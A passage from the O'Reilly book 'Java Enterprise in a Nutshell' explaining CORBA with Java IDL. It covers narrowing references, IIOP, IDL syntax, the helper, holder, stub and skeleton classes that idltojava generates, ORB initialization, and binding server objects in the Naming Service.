    myORB.resolve_initial_references("NameService");
NamingContext nc = NamingContextHelper.narrow(nameRef);

Note that we have to narrow the Object reference to a NamingContext reference using the NamingContextHelper.narrow() method. Even though Java has a cast operation in its syntax, there's no guarantee in the Java IDL binding that the object reference returned by the resolve_initial_references() method is the correct type, since there's no guarantee that the local environment has access to the language-specific definition of the object's interface.

This narrow() operation highlights one of the key differences between RMI and CORBA. In the Java environment, class bytecodes are portable, and all remote object types are objects that can be specified by their full class names. An RMI client can automatically download the bytecodes for a remote stub from the object server, if the class for the stub cannot be found locally (see Chapter 3, Remote Method Invocation, for more details on the mechanics of remote class loading). CORBA is a language-independent remote object scheme, so there is no portable way to specify a remote object's type when a client obtains a stub reference. As a result, the stub reference is initially represented by a basic ObjectImpl object that knows how to forward methods requests to its server object. The client application is forced to "cast" this stub to the correct local type, using the appropriate narrow() method. In the Java mapping of IDL, this means calling the narrow() method on the corresponding helper class. The narrow() method converts the reference, making a type-specific stub interface that also includes the remote object reference information needed to forward method requests to the actual object implementation.

4.1.4. Inter-ORB Communication

Version 2.0 (and later) of the CORBA standard includes specifications for inter-ORB communication protocols that can transmit object requests between various ORBs running on the network. The protocols are independent of the particular ORB implementations running at either end of the communication link. An ORB implemented in Java can talk to another ORB implemented in C, as long as they're both compliant with the CORBA standard and use a standard communication protocol. The inter-ORB protocol is responsible for delivering messages between two cooperating ORBs. These messages might be method requests, return types, error messages, etc. The inter-ORB protocol also deals with differences between the two ORB implementations, like machine-level byte ordering and alignment. As a CORBA application developer, you shouldn't have to deal directly with the low-level communication protocol between ORBs. If you want two ORBs to talk to each other, you just need to be sure that they both speak a common, standard inter-ORB protocol.

The Internet Inter-ORB Protocol (IIOP) is an inter-ORB protocol based on TCP/IP. TCP/IP is by far the most commonly used network protocol on the Internet, so IIOP is the most commonly used CORBA communication protocol. There are other standard CORBA protocols defined for other network environments, however. The DCE Common Inter-ORB Protocol (DCE-CIOP), for example, allows ORBs to communicate on top of DCE-RPC.

Previous | Home | Next
3.8. RMI over IIOP | Book Index | 4.2. Creating CORBA Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating CORBA Objects (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.2. Creating CORBA Objects

Now that you understand the various parts of the CORBA architecture, let's walk through the creation of CORBA objects using Java IDL. In order to distribute a Java object over the network using CORBA, you have to define your own CORBA-enabled interface and it implementation. This involves doing the following:

  • Writing an interface in the CORBA Interface Definition Language

  • Generating a Java base interface, plus a Java stub and skeleton class, using an IDL-to-Java compiler

  • Writing a server-side implementation of the Java interface in Java

4.2.1. An IDL Primer

This section provides a quick overview of writing a CORBA interface in IDL. A full reference on IDL syntax is provided in Chapter 10, "IDL Reference", if you need more details.

The syntax of both Java and IDL were modeled to some extent on C++, so there are a lot of similarities between the two in terms of syntax. Interfaces in IDL are declared much like classes in C++ and, thus, classes or interfaces in Java. The major differences between IDL and Java are:

  • IDL is a declaration language. In IDL, you declare only the names and types for interfaces, data members, methods, method parameters, etc. Method implementations are created in the implementation language you choose (in this case Java), after you've used an IDL compiler to convert your IDL interface to your target language.

  • IDL, like C++, includes non-class data structure definitions, like structs, unions, and enumerations.

  • Method parameters in IDL include modifiers that specify whether they are input, output, or input/output variables. In Java, all primitive data types are passed by value, and all object data types are passed by reference.

  • An IDL file can include multiple public interfaces. Java allows multiple inner classes within a single public class definition and multiple nonpublic classes per file, but only a single public class can be defined in a given Java file.

  • Modules, which are similar to Java packages, can be nested within other modules in the same IDL file, and interfaces in multiple distinct modules can be defined in the same IDL file. In Java, you can define a class only within a single package in a single Java file.

4.2.1.1. Modules

Modules are declared in IDL using the module keyword, followed by a name for the module and an opening brace that starts the module scope. Everything defined within the scope of this module (interfaces, constants, other modules) falls within the module and is referenced in other IDL modules using the syntax modulename::x. Suppose that you want all your classes to be contained in a module called corba, which is part of a larger module called jen (an acronym for the title of this book). In IDL this is declared as follows:

// IDL
module jen {
  module corba {
    interface NeatExample ...
  };
};

If you want to reference the NeatExample interface in other IDL files, use the syntax jen::corba::NeatExample, which may look familiar to readers who have done C++ programming. Java programmers should note the semicolons following the closing braces on the module definitions, which are required in IDL but not in Java. A semicolon is also required after the close of an interface definition.

4.2.1.2. Interfaces

Interfaces declared in IDL are mapped into classes or interfaces in Java. As I mentioned before, IDL is used only to declare modules, interfaces, and their methods. Methods on IDL interfaces are always left abstract, to be defined in the programming language you use to implement the interfaces.

The declaration of an interface includes an interface header and an interface body. The header specifies the name of the interface and the interfaces it inherits from (if any). Here is an IDL interface header:

interface PrintServer : Server { ...

This header starts the declaration of an interface called PrintServer that inherits all the methods and data members from the Server interface. An IDL interface can inherit from multiple interfaces; simply separate the interface names with commas in the inheritance part of the header.

4.2.1.3. Data members and methods

The interface body declares all the data members (or attributes) and methods of an interface. Data members are declared using the attribute keyword. At a minimum, the declaration includes a name and a type (see Chapter 10, "IDL Reference" for a complete list of the basic data types available in IDL and the mapping to Java types). The declaration can optionally specify whether the attribute is read-only or not, using the readonly keyword. By default, every attribute you declare is readable and writable (for Java, this means that the IDL compiler generates public read and write methods for it). Here is an example declaration for a read-only string attribute:

readonly attribute string myString;

You declare a method by specifying its name, return type, and parameters, at a minimum. You can also optionally declare exceptions the method might raise, the invocation semantics of the method, and the context for the method call (see Chapter 10, "IDL Reference" for more details). Here is the declaration for a simple method that returns a string:

string parseString(in string buffer);

This declares a method called parseString() that accepts a single string argument and returns a string value.

4.2.1.4. A complete IDL example

Now let's tie all these basic elements together. Here's a complete IDL example that declares a module within another module, which itself contains several interfaces:

module OS {
  module services {
    interface Server {
      readonly attribute string serverName;
      boolean init(in string sName);
    };

    interface Printable {
      boolean print(in string header);
    };

    interface PrintServer : Server {
      boolean printThis(in Printable p);
    };
  };
};

The first interface, Server, has a single read-only string attribute and an init() method that accepts a string and returns a boolean. The Printable interface has a single print() method that accepts a string header. Finally, the PrintServer interface extends the Server interface (hence inheriting all its methods and attributes) and adds a printThis() method that accepts a Printable object and returns a boolean. In all cases, we've declared our method arguments as input-only (i.e., pass-by-value), using the in keyword.

4.2.2. Turning IDL Into Java

Once you've described your remote interfaces in IDL, you need to generate Java classes that act as a starting point for implementing those remote interfaces in Java using an IDL-to-Java compiler. Every standard IDL-to-Java compiler generates the following Java classes from an IDL interface:

  • A Java interface with the same name as the IDL interface. This can act as the basis for a Java implementation of the interface (but you have to write it, since IDL doesn't provide any details about method implementations).

  • A helper class whose name is the name of the IDL interface with "Helper" appended to it (e.g., ServerHelper). The primary purpose of this class is to provide a static narrow() method that can safely cast CORBA Object references to the Java interface type. The helper class also provides other useful static methods, such as read() and write() methods that allow you to read and write an object of the corresponding type using I/O streams.

  • A holder class whose name is the name of the IDL interface with "Holder" appended to it (e.g., ServerHolder). This class is used when objects with this interface are used as out or inout arguments in remote CORBA methods. Instead of being passed directly into the remote method, the object is wrapped with its holder before being passed. When a remote method has parameters that are declared as out or inout, the method has to be able to update the argument it is passed and return the updated value. The only way to guarantee this, even for primitive Java data types, is to force out and inout arguments to be wrapped in Java holder classes, which are filled with the output value of the argument when the method returns.

The idltojava tool provided by Sun[3] can also generate two other classes:

[3] Although Java IDL is a standard part of Java 1.2, Sun still offers only the early-access version of its idltojava compiler, which you have to download separately from http://developer.java.sun.com/developer/earlyAccess/jdk12/idltojava.html .

  • A client stub class, called _interface-name Stub, that acts as a client-side implementation of the interface and knows how to convert method requests into ORB requests that are forwarded to the actual remote object. The stub class for an interface named Server is called _ServerStub.

  • A server skeleton class, called _interface-name ImplBase, that is a base class for a server-side implementation of the interface. The base class can accept requests for the object from the ORB and channel return values back through the ORB to the remote client. The skeleton class for an interface named Server is called _ServerImplBase.

So, in addition to generating a Java mapping of the IDL interface and some helper classes for the Java interface, the idltojava compiler also creates subclasses that act as an interface between a CORBA client and the ORB and between the server-side implementation and the ORB. Chapter 12, "Java IDL Tools", provides a complete reference for Sun's idltojava compiler. We use this IDL-to-Java tool in the examples in this chapter. Remember, though, that any Java mapping of the CORBA standard should include its own IDL-to-Java compiler to generate these Java classes from the IDL interfaces you write. In addition, the Java that these tools generate should be compliant with the standard IDL mapping for Java, published by the OMG in the CORBA standard.

4.2.2.1. A simple server class

The IDL interface shown in Example 4-1 is the IDL equivalent of the Java class we defined in Example 4-3 in the RMI chapter. The interface, named ThisOrThatServer, declares two methods, doThis() and doThat(). As in the earlier RMI example, each method accepts a string that specifies what to do and returns a string that indicates what was done. Since this is IDL, the string data type is string, and the parameters are declared as in arguments, since we want them to be passed into the remote method by value.

Example 4-1. A ThisOrThatServer Declared in IDL

    interface ThisOrThatServer {
      string doThis(in string what);
      string doThat(in string what);
    };

We can run the idltojava compiler on this IDL interface using the following command line (Windows version):

D:\>idltojava -fno-cpp ThisOrThatServer.idl

This command creates the five Java classes I just described: a Java version of the interface, a helper class, a holder class, a client stub, and a server skeleton. I had to use the -fno-cpp option on my machine because I don't have a C preprocessor installed for idltojava to use; this option tells the IDL compiler to use an alternate parsing scheme while it converts the IDL to Java (see Chapter 12, "Java IDL Tools" for complete details on the command-line arguments for idltojava).

The compiler creates the Java interface shown in Example 4-2, in a file named ThisOrThatServer.java. The mapping is fairly straightforward for this simple example. The interface declaration is mapped directly to a Java interface declaration, with the interface extending the org.omg.CORBA.Object interface. If we had included any module definitions in our IDL specification, they would have been mapped into a package statement at the beginning of the Java file. The IDL string type is converted into the Java String type, and, since they don't require any special handling in a remote method call, the in method parameters in IDL are mapped into regular Java input arguments.

Example 4-2. Java Interface for ThisOrThatServer

/*
 * File: ./THISORTHATSERVER.JAVA
 * From: THISORTHATSERVER.IDL
 * Date: Thu Apr 15 21:42:40 1999
 *   By: C:\JDK12~1.1\BIN\IDLTOJ~1.EXE Java IDL 1.2 Aug 18 1998 16:25:34
 */

public interface ThisOrThatServer
    extends org.omg.CORBA.Object {
    String doThis(String what)
;
    String doThat(String what)
;
}

You might notice that the IDL compiler has put the semicolons following the method declarations on separate lines. To my knowledge, there's no good reason for this; it's just a quirk of the idltojava tool provided by Sun.

4.2.2.2. The helper class

The compiler also generates a helper class, called ThisOrThatServerHelper, as shown in Example 4-3. As I mentioned earlier, the helper class has methods that let you read and write ThisOrThatServer objects to and from CORBA I/O streams, get the TypeCode for a ThisOrThatServer object, and, most importantly, safely narrow a CORBA Object reference into a ThisOrThatServer reference.

Example 4-3. Helper Class for the ThisOrThatServer

/*
 * File: ./THISORTHATSERVERHELPER.JAVA
 * From: THISORTHATSERVER.IDL
 * Date: Thu Apr 15 21:42:40 1999
 *   By: C:\JDK12~1.1\BIN\IDLTOJ~1.EXE Java IDL 1.2 Aug 18 1998 16:25:34
 */

public class ThisOrThatServerHelper {
    // It is useless to have instances of this class
    private ThisOrThatServerHelper() { }

    public static void write(org.omg.CORBA.portable.OutputStream out,
                             ThisOrThatServer that) {
        out.write_Object(that);
    }
    public static ThisOrThatServer
      read(org.omg.CORBA.portable.InputStream in) {
        return ThisOrThatServerHelper.narrow(in.read_Object());
    }
   public static ThisOrThatServer extract(org.omg.CORBA.Any a) {
     org.omg.CORBA.portable.InputStream in = a.create_input_stream();
     return read(in);
   }
   public static void insert(org.omg.CORBA.Any a, ThisOrThatServer that) {
     org.omg.CORBA.portable.OutputStream out = a.create_output_stream();
     write(out, that);
     a.read_value(out.create_input_stream(), type());
   }
   private static org.omg.CORBA.TypeCode _tc;
   synchronized public static org.omg.CORBA.TypeCode type() {
          if (_tc == null)
             _tc = org.omg.CORBA.ORB.init().create_interface_tc(id(),
                   "ThisOrThatServer");
      return _tc;
   }
   public static String id() {
       return "IDL:ThisOrThatServer:1.0";
   }
   public static ThisOrThatServer narrow(org.omg.CORBA.Object that)
            throws org.omg.CORBA.BAD_PARAM {
        if (that == null)
            return null;
        if (that instanceof ThisOrThatServer)
            return (ThisOrThatServer) that;
        if (!that._is_a(id())) {
            throw new org.omg.CORBA.BAD_PARAM();
        }
        org.omg.CORBA.portable.Delegate dup =
          ((org.omg.CORBA.portable.ObjectImpl)that)._get_delegate();
        ThisOrThatServer result = new _ThisOrThatServerStub(dup);
        return result;
   }
}

In the implementation of the narrow() method, we can see how the helper class converts a CORBA Object reference to a reference to a specific type. First, the narrow() method checks to see if the Object parameter is already a ThisOrThatServer object (using the Java instanceof operator), then it checks to see if the object passed in is a null pointer. If neither case is true, the Object should contain a delegate of a ThisOrThatServer object. Every CORBA stub for a remote object contains an internal Delegate object (from the org.omg.CORBA.portable package) that's used by the stub to invoke remote requests. If the object's delegate is a ThisOrThatServer (checked using the objects's _is_a() method), the delegate is used to create a new ThisOrThatServer stub. We'll take a look at the ThisOrThatServer stub class in a bit. If the object doesn't contain a delegate, the is_a() method returns false, and the narrow() method throws a BAD_PARAM exception.

4.2.2.3. The holder class

The compiler generates a holder class for the ThisOrThatServer class, as shown in Example 4-4. The holder class, called ThisOrThatServerHolder, is a wrapper used when ThisOrThatServer objects are called for as out or inout arguments in an IDL method. All holder classes implement the Streamable interface from the org.omg.CORBA.portable package. An ORB knows to pass Streamable objects in method calls using the _read() and _write() methods of the Streamable object; these methods handle whatever serialization the object needs.

Example 4-4. Holder Class for the ThisOrThatServer

/*
 * File: ./THISORTHATSERVERHOLDER.JAVA
 * From: THISORTHATSERVER.IDL
 * Date: Thu Apr 15 21:42:40 1999
 *   By: C:\JDK12~1.1\BIN\IDLTOJ~1.EXE Java IDL 1.2 Aug 18 1998 16:25:34
 */

public final class ThisOrThatServerHolder
     implements org.omg.CORBA.portable.Streamable{
    //  instance variable
    public ThisOrThatServer value;
    //  constructors
    public ThisOrThatServerHolder() {
        this(null);
    }
    public ThisOrThatServerHolder(ThisOrThatServer __arg) {
        value = __arg;
    }

    public void _write(org.omg.CORBA.portable.OutputStream out) {
        ThisOrThatServerHelper.write(out, value);
    }

    public void _read(org.omg.CORBA.portable.InputStream in) {
        value = ThisOrThatServerHelper.read(in);
    }

    public org.omg.CORBA.TypeCode _type() {
        return ThisOrThatServerHelper.type();
    }
}

A holder contains a single instance of a CORBA object (a ThisOrThatServer, in this example). When a holder object is passed into a remote method call as an inout argument, its _write() method is invoked. This method takes the object contained by the holder class, serializes it, and streams it through the ORB to the remote object server. When the remote method call returns, the holder's _read() method is invoked to read the (possibly updated) object from the remote object server, and the holder object replaces its internal value with the updated object.

As an example of using the holder class, let's define another IDL interface that includes a method that uses a ThisOrThatServer as an inout parameter:

// IDL
interface ServerManager {
  boolean updateServer(inout ThisOrThatServer server);
};

The Java interface generated from this IDL interface uses the holder class for the ThisOrThatServer as the type for the corresponding Java method parameter:

// Java
public interface ServerManager
    extends org.omg.CORBA.Object {
    boolean updateServer(ThisOrThatServerHolder server)
;
}

The ThisOrThatServerHolder class has public constructors that let you create a holder from an existing ThisOrThatServer object, so that you can easily pass the object into this kind of method.

4.2.2.4. The client and server stubs

The idltojava compiler generates two more classes from our interface definition: a client stub (_ThisOrThatServerStub) and a base class for a server implementation (_ThisOrThatServerImplBase). The client stub, shown in Example 4-5, implements the generated ThisOrThatServer Java interface and acts as a client-side proxy for a remote ThisOrThatServer object. The stub has implementations of the doThis() and doThat() methods from the interface. Each implementation just generates a request to the ORB to make a remote method call on the server-side object that this stub is a proxy for. The method arguments are bundled up and passed along with the request to the ORB. I'm not going to go into the details of the stub's method implementations because you shouldn't have to worry much about them, but it is enlightening to look at the source code to see how your remote objects do what they do in detail, using the core CORBA functions.

Example 4-5. ThisOrThatServer Stub Class Generated by IDL Compiler

/*
 * File: ./_THISORTHATSERVERSTUB.JAVA
 * From: THISORTHATSERVER.IDL
 * Date: Thu Apr 15 21:42:40 1999
 *   By: C:\JDK12~1.1\BIN\IDLTOJ~1.EXE Java IDL 1.2 Aug 18 1998 16:25:34
 */

public class _ThisOrThatServerStub
        extends org.omg.CORBA.portable.ObjectImpl
        implements ThisOrThatServer {

    public _ThisOrThatServerStub(org.omg.CORBA.portable.Delegate d) {
          super();
          _set_delegate(d);
    }

    private static final String _type_ids[] = {
        "IDL:ThisOrThatServer:1.0"
    };

    public String[] _ids() { return (String[]) _type_ids.clone(); }

    //  IDL operations
    //      Implementation of ::ThisOrThatServer::doThis
    public String doThis(String what)
 {
           org.omg.CORBA.Request r = _request("doThis");
           r.set_return_type(org.omg.CORBA.ORB.init().get_primitive_tc(
               org.omg.CORBA.TCKind.tk_string));
           org.omg.CORBA.Any _what = r.add_in_arg();
           _what.insert_string(what);
           r.invoke();
           String __result;
           __result = r.return_value().extract_string();
           return __result;
   }
    //      Implementation of ::ThisOrThatServer::doThat
    public String doThat(String what)
 {
           org.omg.CORBA.Request r = _request("doThat");
           r.set_return_type(org.omg.CORBA.ORB.init().get_primitive_tc(
               org.omg.CORBA.TCKind.tk_string));
           org.omg.CORBA.Any _what = r.add_in_arg();
           _what.insert_string(what);
           r.invoke();
           String __result;
           __result = r.return_value().extract_string();
           return __result;
   }
};

When a Java client gets a reference to a remote ThisOrThatServer object, it is given one of these stub objects. The client can make method calls on the stub object, and the stub converts these calls into corresponding requests to the ORB to invoke the methods on the remote object and send back the results.

The base class for the server implementation, shown in Example 4-6, accepts requests that are intended for the server implementation from the ORB. The base class converts a request into a method call on the server object and then takes the result of the call and gives it back to the ORB to send to the client stub. All this work is done in the server skeleton's invoke() method. The invoke() method figures out which method is being called, unpacks the method arguments (if any) from the request, and calls the method directly on itself.

Note that the server skeleton doesn't have implementations of the doThis() or doThat() methods declared in the interface. The idltojava compiler doesn't do everything for you; you still need to create a server implementation for your interface.

Example 4-6. Implementation Base Class for ThisOrThatServer

/*
 * File: ./_THISORTHATSERVERIMPLBASE.JAVA
 * From: THISORTHATSERVER.IDL
 * Date: Thu Apr 15 21:42:40 1999
 *   By: C:\JDK12~1.1\BIN\IDLTOJ~1.EXE Java IDL 1.2 Aug 18 1998 16:25:34
 */

public abstract class _ThisOrThatServerImplBase extends
    org.omg.CORBA.DynamicImplementation implements ThisOrThatServer {
    // Constructor
    public _ThisOrThatServerImplBase() {
         super();
    }
    // Type strings for this class and its superclasses
    private static final String _type_ids[] = {
        "IDL:ThisOrThatServer:1.0"
    };

    public String[] _ids() { return (String[]) _type_ids.clone(); }

    private static java.util.Dictionary _methods = new java.util.Hashtable();
    static {
      _methods.put("doThis", new java.lang.Integer(0));
      _methods.put("doThat", new java.lang.Integer(1));
     }
    // DSI Dispatch call
    public void invoke(org.omg.CORBA.ServerRequest r) {
       switch (((java.lang.Integer) _methods.get(r.op_name())).intValue()) {
           case 0: // ThisOrThatServer.doThis
              {
              org.omg.CORBA.NVList _list = _orb().create_list(0);
              org.omg.CORBA.Any _what = _orb().create_any();
              _what.type(org.omg.CORBA.ORB.init().get_primitive_tc(
                  org.omg.CORBA.TCKind.tk_string));
              _list.add_value("what", _what, org.omg.CORBA.ARG_IN.value);
              r.params(_list);
              String what;
              what = _what.extract_string();
              String ___result;
                            ___result = this.doThis(what);
              org.omg.CORBA.Any __result = _orb().create_any();
              __result.insert_string(___result);
              r.result(__result);
              }
              break;
           case 1: // ThisOrThatServer.doThat
              {
              org.omg.CORBA.NVList _list = _orb().create_list(0);
              org.omg.CORBA.Any _what = _orb().create_any();
              _what.type(org.omg.CORBA.ORB.init().get_primitive_tc(
                  org.omg.CORBA.TCKind.tk_string));
              _list.add_value("what", _what, org.omg.CORBA.ARG_IN.value);
              r.params(_list);
              String what;
              what = _what.extract_string();
              String ___result;
                            ___result = this.doThat(what);
              org.omg.CORBA.Any __result = _orb().create_any();
              __result.insert_string(___result);
              r.result(__result);
              }
              break;
            default:
              throw new org.omg.CORBA.BAD_OPERATION(0,
                  org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
       }
 }
}

4.2.3. Writing the Implementation

So, we've written an IDL interface and generated the Java interface and support classes for it, including the client stub and the server skeleton. Now we need to create concrete server-side implementations of all of the methods on your interface. We do this by subclassing from the _xxx ImplBase class generated by the idltojava compiler. For our example, we need to subclass _ThisOrThatServerImplBase and implement the doThis() and doThat() methods. The ThisOrThatServerImpl class in Example 4-7 does just that. Note that we've mimicked the method implementations from the RMI example in Chapter 3, "Remote Method Invocation". The only real difference is that this ThisOrThatServerImpl class extends _ThisOrThatServerImplBase, while the one in Chapter 3, "Remote Method Invocation" extends the UnicastRemoteObject.

Example 4-7. Server-Side Implementation of ThisOrThatServer Interface

public class ThisOrThatServerImpl extends _ThisOrThatServerImplBase {

  public ThisOrThatServerImpl() {}

  // Remotely-accessible methods
  public String doThis(String what) {
    return doSomething("this", what);
  }

  public String doThat(String what) {
    return doSomething("that", what);
  }

  // Non-remote methods
  private String doSomething(String todo, String what) {
    String result = todo + " " + what + " is done.";
    System.out.println("Did " + todo + " to " + what);
    return result;
  }
}
Previous | Home | Next
4.1. The CORBA Architecture | Book Index | 4.3. Putting It in the Public Eye
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Putting It in the Public Eye (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.3. Putting It in the Public Eye

We still need to do some work to make the Java implementation of our IDL interface available to remote clients. There are two ways a client gets a reference to a remote object: it can get an initial object reference using the ORB.resolve_initial_references() method and somehow find a reference to the object through method calls on the initial object, or it can get a "stringified" reference to the remote object (an Interoperable Object Reference) and convert it locally to a live object reference.

For the first case, the remote object needs to be registered in some way with a server-side ORB. In order for you to register a remote object, you first have to get a reference to an ORB. We'll look at how to do that first, then look at registering the remote object with a Naming Service. We discuss the stringified object reference technique later in this chapter, when we look at how clients can access remote objects.

4.3.1. Initializing the ORB

Since the ORB is so central to everything in a CORBA environment, the first thing any CORBA process needs to do is get a reference to a local or remote ORB that it can use to find other objects, access CORBA services, and handle remote method calls. A CORBA participant initializes its ORB reference by calling one of the static init() methods on the ORB interface. Each of these methods returns an ORB object that can find CORBA objects and services. The standard init() methods provided on an ORB are as follows (Sun's Java IDL supports all of these standard initialization methods):

public static ORB ORB.init()

Returns a shared (static) ORB instance. Each call within the same runtime environment returns the same ORB reference. If used within an applet context, the ORB has limited abilities.

public static ORB ORB.init(String[] args, Properties props)

Creates a new ORB using the given arguments and properties, as discussed in the following paragraphs.

public static ORB ORB.init(Applet applet, Properties props)

Creates a new ORB within an applet context. The applet's codebase and host are used by the ORB as the source of various services, such as the Naming Service.

There are two standard properties defined for an ORB that can be set in the call to init(), using either the String arguments array or a Properties object. These are the ORBClass and ORBSingletonClass properties, which specify the Java classes to use to create ORBs when an init() method is called. (ORBSingletonClass is a shared ORB instance that is used mainly by generated classes to do things like create TypeCode objects that identify the types of CORBA objects, while ORBClass is a fully functional ORB.) You can use these properties to specify a custom ORB implementation. You may want to override the default ORB implementation (com.sun.CORBA.iiop.ORB in Java IDL) with one of your own that has particular performance characteristics. Or you may be running your CORBA code within an applet and want to ensure that a valid ORB is available no matter what browser version your applet encounters.

Sun's Java IDL also adds two nonstandard properties: ORBInitialHost and ORBInitialPort. By default, each ORB.init() method initializes an ORB that looks for its services locally. The current version of the Java IDL API includes a single service, the Naming Service, and the ORB.init() methods assume that the Naming Service is listening to port 900 on the local host. Java IDL adds these two nonstandard properties to allow your local ORB to defer its services (naming, trading, etc.) to a remote ORB running on a given host and listening on a given port. Be careful before you decide to depend on these properties in your application or applet. They are only honored within Sun's Java IDL implementation of the CORBA standard. If you want your CORBA application to be portable to any implementation of the standard IDL-to-Java binding, and you want to use a remote Naming Service, you should stick to using a stringified reference to the remote service, obtained through a secondary communication channel, as we'll discuss shortly.

Any of these properties can be specified within a Properties object or as a command-line option to a Java application. As an example, if you want to specify a different host to use for finding services like the Naming Service, one way to do this is to specify the host explicitly in the code that initializes the ORB, using a Properties object:

Properties orbProps = new Properties();
orbProps.put("org.omg.CORBA.ORBInitialHost", "remote.orb.com");
ORB myOrb = ORB.init((String[])null, orbProps);

Alternately, you can take command-line arguments passed into your Java code and pass them to the ORB.init() method to be parsed. Say we have a class named InitRemote with a main method implemented as follows:

public class InitRemote {
  public static void main(String[] argv) {
    try {
      ORB myOrb = ORB.init(argv, null);
      ...
    }
  }
}

In this case, we can specify any ORB properties on the command line using specific argument names:

orbhost% java InitRemote -ORBInitialHost remote.orb.com

Note that you can use the second ORB.init() method with both a String arguments array and a Properties list specified, even though the examples here haven't shown that.

4.3.2. Registering with a Naming Service

One way to make a server object available to remote clients is to register it with the local CORBA Naming Service under a specific name. A remote client can then get a reference to the root NamingContext for the Naming Service and ask for the server object by name.

Example 4-8 shows a class whose main() method creates an instance of our ThisOrThatServer implementation and then registers the object with the Naming Service. The program starts by getting a reference to the local ORB. Then it asks the ORB for a reference to the Naming Service (using the standard name "NameService") with the resolve_initial_references() method. This reference is actually the root NamingContext, so we narrow the object reference using NamingContextHelper. We register the ThisOrThatServer with the Naming Service by building an array of NameComponent objects and then calling the rebind() method on the NamingContext. With the object registered, we go into a wait state, waiting for client requests.

Example 4-8. Registering an Object with the Naming Service

import org.omg.CORBA.*;
import org.omg.CosNaming.*;

public class ServerNamingInit {
  public static void main(String[] argv) {
    try {
      // Obtain ORB reference
      ORB myORB = ORB.init(argv, null);

      // Make a ThisOrThatServer object to register with the ORB
      ThisOrThatServer impl = new ThisOrThatServerImpl();

      // Get the root name context
      org.omg.CORBA.Object objRef =
        myORB.resolve_initial_references("NameService");
      NamingContext nc = NamingContextHelper.narrow(objRef);

      // Register the local object with the Name Service
      NameComponent ncomp = new NameComponent("ThisOrThatServer", "");
      NameComponent[] name = {ncomp};
      nc.rebind(name, impl);

      // Go into a wait state, waiting for clients to connect
      System.out.println("Waiting for clients...");
      java.lang.Object dummy = new String("I wait...");
      synchronized (dummy) {
        dummy.wait();
      }
    }
    catch (Exception e) {
      System.out.println("Error occurred while initializing server object:");
      e.printStackTrace();
    }
  }
}

Note that Example 4-8 imports the org.omg.CORBA and org.omg.CosNaming packages, which are the two main packages in Java IDL. Because of the naming collision between java.lang.Object and org.omg.CORBA.Object, we have to use the fully qualified names of these two classes when we use them in CORBA applications that import org.orm.CORBA. Finally, note that this example binds the ThisOrThatServer object within the root NamingContext using the name "ThisOrThatServer". We'll see shortly how to create subcontexts and bind objects within them.

Before running this initialization of our CORBA object, we need to start a Naming Service on the host for the object. A Naming Service daemon listens for Naming Service requests on a specific port and provides access to the named object directory it manages. In Java IDL, the Naming Service is started using the tnameserv command:

objhost% tnameserv &

With that done, we can run our initialization method to register our server object with the ORB:

objhost% java ServerNamingInit

4.3.3. Adding Objects to a Naming Context

Initially, a CORBA naming directory is empty, with only its root NamingContext and no objects. The bind() method on a NamingContext object binds a server object to a name within the context. The bind_new_context() method creates new subcontexts within a given NamingContext. Using a file directory analogy, calling bind_new_context() on a NamingContext object is like making a new subdirectory, while calling bind() puts a new file into a directory.

The Java IDL mapping uses arrays of NameComponent objects to represent the names of subcontexts within a naming directory. Each NameComponent represents a component of the path to the named object. A NameComponent contains id and kind string fields that serve to label the component in the path. Only the id field is significant in determining name uniqueness. So a NameComponent with id set to "student" and kind set to an empty string conflicts with a NameComponent with an id of "student" and kind "doctoral," if both NameComponent objects are relative to the same subcontext. The NameComponent class has a constructor that takes the id and kind values as arguments. Here's how to create a single NameComponent:

NameComponent comp1 = new NameComponent("student", "doctoral");

A complete name path can be composed as an array of these objects:

NameComponent path[] = { comp1, comp2, ... };

The bind() method takes two arguments: an array of NameComponent objects as the relative name for the object you're putting into the Naming Service and the server object itself. If you're binding a server object using the root context of the Naming Service, the name is also the absolute name of the object in the overall naming directory. If an object is already bound to the name, you can use the rebind() method with the same arguments, causing the existing object bound to that name to be replaced by the new object. Note that since the Naming Service is a CORBA service that can be accessed remotely by other CORBA clients, the objects it contains need to be exportable to these remote clients. This means that only org.omg.CORBA.Object references can be bound to names within a NamingContext.

The following code binds a few of our ThisOrThatServer objects to names within the root context of a Naming Service:

// Get the root naming context
ORB myORB = ORB.init(...);
org.omg.CORBA.Object ref = 	myORB.resolve_initial_references("NameService");
NamingContext rootNC = NamingContextHelper.narrow(ref);

// Create a few servers
org.omg.CORBA.Object ref1 = new ThisOrThatServerImpl();
org.omg.CORBA.Object ref2 = new ThisOrThatServerImpl();

// Bind them to names in the Naming Service
NameComponent name1 = new NameComponent("server1", "");
NameComponent path1[] = { name1 };
NameComponent name2 = new NameComponent("server2", "");
NameComponent path2[] = { name2 };
rootNC.bind(path1, ref1);
rootNC.bind(path2, ref2);

Before you can bind an object to a name with multiple components, all the subcontexts (subdirectories) have to be created using the bind_new_context() method on a NamingContext. The bind_new_context() method takes an array of NameComponent objects as the relative path of the new context and a reference to the NamingContext object to bind to that location in the overall directory. A new NamingContext object can be created from an existing one by calling its new_context() method. If a context already exists at the target name, you can use the rebind_context() method to replace the existing context with a new one. This is useful for emptying out an entire subcontext without removing each object individually.

Here is an example that binds some objects within various subcontexts:

// Get the root context, as before
NamingContext rootNC = ...;

// Create the components to the subcontext name
NameComponent comp1 = new NameComponent("servers", "");
NameComponent ttComp = new NameComponent("ThisOrThat", "");
NameComponent otherComp= new NameComponent("misc", "");

// Create each subcontext within the root context and bind them
// to their appropriate names
// Create a new context, bind it to the name "servers"
// off the root NamingContext
NamingContext context1 = rootNC.new_context();
NameComponent path1[] = { comp1 };
rootNC.bind_context(path1, context1);
// Create another context, bind it to the name "servers, ThisOrThat"
NamingContext ttDir = rootNC.new_context();
NameComponent path2_1[] = { comp1, ttComp };
rootNC.bind_context(path2_1, ttDir);
// Create another context, bind it to the name "servers, misc"
NamingContext otherDir = rootNC.new_context();
NameComponent path2_2[] = { comp1, otherComp };
rootNC.bind_context(path2_2, otherDir);

// Now we can bind servers to a name within any of the new subcontexts
org.omg.CORBA.Object ttRef = new ThisOrThatServerImpl();
org.omg.CORBA.Object otherRef = new SomeOtherServerImpl();

// Bind the other server to the "misc" branch of the "servers" dir.
NameComponent yetAnotherComp = new NameComponent("SomeOtherServer", "");
